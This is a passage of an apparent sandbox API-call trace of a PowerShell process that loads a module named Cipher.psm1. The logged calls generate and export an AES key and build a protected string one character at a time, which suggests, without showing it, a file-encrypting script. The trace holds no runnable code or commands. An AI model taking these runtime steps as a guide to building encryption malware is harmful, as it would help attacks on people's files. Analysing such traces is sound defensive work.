Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.469] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aee4c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aee4c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x6c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.469] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeedc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.470] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae768, nSize=0x100 | out: lpBuffer="\x1161\x73b6\x30f7\x6b24\x14\x01\xd440\x73ae\x96e8\x667") returned 0x0 [0128.470] GetFullPathNameW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", nBufferLength=0x105, lpBuffer=0x99ae444, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\CIiHmnxMn6Ps\\Documents\\WindowsPowerShell\\Modules\\Cipher\\Cipher.psm1", lpFilePart=0x0) returned 0x4c [0128.470] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99aeb40*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeb40*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.470] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99aeaa0*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99aeaa0*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7b, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.470] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99aeb30*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.471] CryptAcquireContextW (in: phProv=0x99ae3e0, szContainer=0x0, szProvider="Microsoft Enhanced RSA and AES Cryptographic Provider", dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0x99ae3e0*=0x8e028b0) returned 1 [0128.471] CryptGenKey (in: hProv=0x8e028b0, Algid=0x6610, dwFlags=0x1, phKey=0x99ae80c | out: phKey=0x99ae80c*=0x8e84ff8) returned 1 [0128.471] CryptContextAddRef (hProv=0x8e028b0, pdwReserved=0x0, dwFlags=0x0) returned 1 [0128.472] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x0, pdwDataLen=0x99ae7f8 | out: pbData=0x0*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.472] CryptExportKey (in: hKey=0x8e84ff8, hExpKey=0x0, dwBlobType=0x8, dwFlags=0x0, pbData=0x69e1f84, pdwDataLen=0x99ae7f8 | out: pbData=0x69e1f84*, pdwDataLen=0x99ae7f8*=0x2c) returned 1 [0128.472] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x99ae35c, nSize=0x100 | out: lpBuffer="") returned 0x0 [0128.472] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae734*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae734*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.472] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae694*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae694*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7c, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.472] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae724*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0x7d, [1]=0x18, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0128.473] SysStringLen (param_1="") returned 0x8 [0128.473] SysStringLen (param_1="P") returned 0x8 [0128.473] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="\x4e25\x20fd\x9a75\xc89d\x7e02\x82f2\xbf94\xda3a") returned 0x8 [0128.474] SysStringLen (param_1="\x4e25\x20fd\x9a75\xc89d\x7e02\x82f2\xbf94\xda3a") returned 0x8 [0128.474] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="Pj") returned 0x8 [0128.474] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="\x4a4\x97c3\x2ede\xb42d\x9814\x105d\x5bb6\xf1a2") returned 0x8 [0128.474] SysStringLen (param_1="\x4a4\x97c3\x2ede\xb42d\x9814\x105d\x5bb6\xf1a2") returned 0x8 [0128.474] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="PjV") returned 0x8 [0128.474] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="\x5c1c\x48ec\xb89a\x1cf7\x4ad2\xb72d\x3c4c\x2d17") returned 0x8 [0128.474] SysStringLen (param_1="\x5c1c\x48ec\xb89a\x1cf7\x4ad2\xb72d\x3c4c\x2d17") returned 0x8 [0128.474] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="PjVO") returned 0x8 [0128.474] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="\x48d6\x8a19\x265a\x968f\x9732\x219e\x317\x50e") returned 0x8 [0128.474] SysStringLen (param_1="\x48d6\x8a19\x265a\x968f\x9732\x219e\x317\x50e") returned 0x8 [0128.474] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.474] SysStringLen (param_1="PjVOn") returned 0x8 [0128.475] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="\xd7e2\x148f\x75d9\xb458\x2457\x6655\x4328\x4483") returned 0x8 [0128.475] SysStringLen (param_1="\xd7e2\x148f\x75d9\xb458\x2457\x6655\x4328\x4483") returned 0x8 [0128.475] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="PjVOnG") returned 0x8 [0128.475] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="\x7995\xd4a4\xf92\xfc47\xc6d2\xdb1d\x22a5\x9452") returned 0x8 [0128.475] SysStringLen (param_1="\x7995\xd4a4\xf92\xfc47\xc6d2\xdb1d\x22a5\x9452") returned 0x8 [0128.475] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="PjVOnGU") returned 0x8 [0128.475] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="♌ⱂ襔悥鲱㧍닲") returned 0x8 [0128.475] SysStringLen (param_1="♌ⱂ襔悥鲱㧍닲") returned 0x8 [0128.475] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="PjVOnGUt") returned 0x8 [0128.475] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0128.475] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d") returned 0x8 [0128.475] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d") returned 0x8 [0128.475] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d") returned 0x8 [0128.475] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d") returned 0x10 [0128.475] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.475] SysStringLen (param_1="PjVOnGUt/검ᘆ囸侌㙚泮") returned 0x10 [0128.475] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xfe04\x534e\xf23f\xf76a\xc946\x8730\xb020\xe58c") returned 0x10 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xfe04\x534e\xf23f\xf76a\xc946\x8730\xb020\xe58c") returned 0x10 [0128.476] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="PjVOnGUt/xᘆ囸侌㙚泮") returned 0x10 [0128.476] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x5b14\x9288\xbb19\x5c31\x2aa5\x48e\xc72a\x12e5") returned 0x10 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x5b14\x9288\xbb19\x5c31\x2aa5\x48e\xc72a\x12e5") returned 0x10 [0128.476] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="PjVOnGUt/xM囸侌㙚泮") returned 0x10 [0128.476] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xb42c\xed09\x6cb9\x4fa5\x9cfe\x3a5d\xd80a\xd1c") returned 0x10 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xb42c\xed09\x6cb9\x4fa5\x9cfe\x3a5d\xd80a\xd1c") returned 0x10 [0128.476] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="PjVOnGUt/xM9侌㙚泮") returned 0x10 [0128.476] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x51dd\xce6\x57af\x6f9b\x9857\x32c9\xd5ac\x4331") returned 0x10 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x51dd\xce6\x57af\x6f9b\x9857\x32c9\xd5ac\x4331") returned 0x10 [0128.476] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="PjVOnGUt/xM9j㙚泮") returned 0x10 [0128.476] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x80f\x5c6\x157a\xf9e\xb189\x944e\xe2b8\xfb64") returned 0x10 [0128.476] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x80f\x5c6\x157a\xf9e\xb189\x944e\xe2b8\xfb64") returned 0x10 [0128.476] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="PjVOnGUt/xM9jD㙚泮") returned 0x10 [0128.477] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x770d\xf55\x74d3\x9562\xc94b\xac4\x7cd8\x574e") returned 0x10 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\x770d\xf55\x74d3\x9562\xc94b\xac4\x7cd8\x574e") returned 0x10 [0128.477] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="PjVOnGUt/xM9jDV泮") returned 0x10 [0128.477] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xe0de\xb4ed\x2769\x5cdb\x3d2c\xeeb1\xba29\xb75b") returned 0x10 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xe0de\xb4ed\x2769\x5cdb\x3d2c\xeeb1\xba29\xb75b") returned 0x10 [0128.477] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="PjVOnGUt/xM9jDVv") returned 0x10 [0128.477] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3") returned 0x10 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3") returned 0x10 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3") returned 0x10 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3") returned 0x18 [0128.477] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.477] SysStringLen (param_1="PjVOnGUt/xM9jDVvEꈡ岥妱鈽ꉳ挐") returned 0x18 [0128.477] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x6df3\xc3f5\xc3a3\x6af\x6faa\x52e5\x89b3\x49a8") returned 0x18 [0128.477] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x6df3\xc3f5\xc3a3\x6af\x6faa\x52e5\x89b3\x49a8") returned 0x18 [0128.477] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.477] SysStringLen (param_1="PjVOnGUt/xM9jDVvEh岥妱鈽ꉳ挐") returned 0x18 [0128.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x8498\x320b\x2060\xcf2e\xb19a\x6230\xae90\xfbb2") returned 0x18 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x8498\x320b\x2060\xcf2e\xb19a\x6230\xae90\xfbb2") returned 0x18 [0128.478] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhl妱鈽ꉳ挐") returned 0x18 [0128.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x12c8\xe399\x1a0\x7a8c\x6fba\xc497\x2fda\xf22b") returned 0x18 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x12c8\xe399\x1a0\x7a8c\x6fba\xc497\x2fda\xf22b") returned 0x18 [0128.478] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF鈽ꉳ挐") returned 0x18 [0128.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x80ff\x27fb\x6600\xaccd\x490e\xa7a7\x9dbf\x1f8") returned 0x18 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x80ff\x27fb\x6600\xaccd\x490e\xa7a7\x9dbf\x1f8") returned 0x18 [0128.478] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/鈽ꉳ挐") returned 0x18 [0128.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\xee81\x88e8\x577c\x68c4\xa57e\x9d30\xf16\x70fc") returned 0x18 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\xee81\x88e8\x577c\x68c4\xa57e\x9d30\xf16\x70fc") returned 0x18 [0128.478] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/rꉳ挐") returned 0x18 [0128.478] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\xd23f\xfcee\x1454\x402\x87b5\x495e\x117c\x6dea") returned 0x18 [0128.478] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\xd23f\xfcee\x1454\x402\x87b5\x495e\x117c\x6dea") returned 0x18 [0128.478] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.479] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ru挐") returned 0x18 [0128.479] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x603a\x5051\x3c94\xa333\x590a\x2005\x778c\xa787") returned 0x18 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x603a\x5051\x3c94\xa333\x590a\x2005\x778c\xa787") returned 0x18 [0128.479] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.479] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruG") returned 0x18 [0128.479] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8") returned 0x18 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8") returned 0x18 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8") returned 0x18 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8") returned 0x20 [0128.479] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.479] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzﶖ녥瓃苇즻焛") returned 0x20 [0128.479] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x3b4a\xa9a0\x4d9f\x5c1\x215d\x3b65\xb17d\xddad") returned 0x20 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x3b4a\xa9a0\x4d9f\x5c1\x215d\x3b65\xb17d\xddad") returned 0x20 [0128.479] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.479] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzC녥瓃苇즻焛") returned 0x20 [0128.479] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x8846\x8cf1\x9426\xd15b\xcdb6\x7c2e\x72bc\x76f8") returned 0x20 [0128.479] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x8846\x8cf1\x9426\xd15b\xcdb6\x7c2e\x72bc\x76f8") returned 0x20 [0128.479] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.479] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCW瓃苇즻焛") returned 0x20 [0128.480] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x93ae\x397e\x7c3c\xda18\xb789\x296c\x8502\x6082") returned 0x20 [0128.480] SysStringLen (param_1="\x48db\xacaa\x654e\x57fe\x8b4c\xe2a6\x73a1\x5c3d\xf861\xa20b\x2fed\x58b7\x37a8\x86a8\xe788\x53c3\x9d13\xfdbc\xc22d\xe987\xb003\x9652\x8c40\x41c8\x93ae\x397e\x7c3c\xda18\xb789\x296c\x8502\x6082") returned 0x20 [0128.480] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0128.480] SysStringLen (param_1="PjVOnGUt/xM9jDVvEhlF/ruGzCWN瓃苇즻焛") returned 0x20 [0128.480] 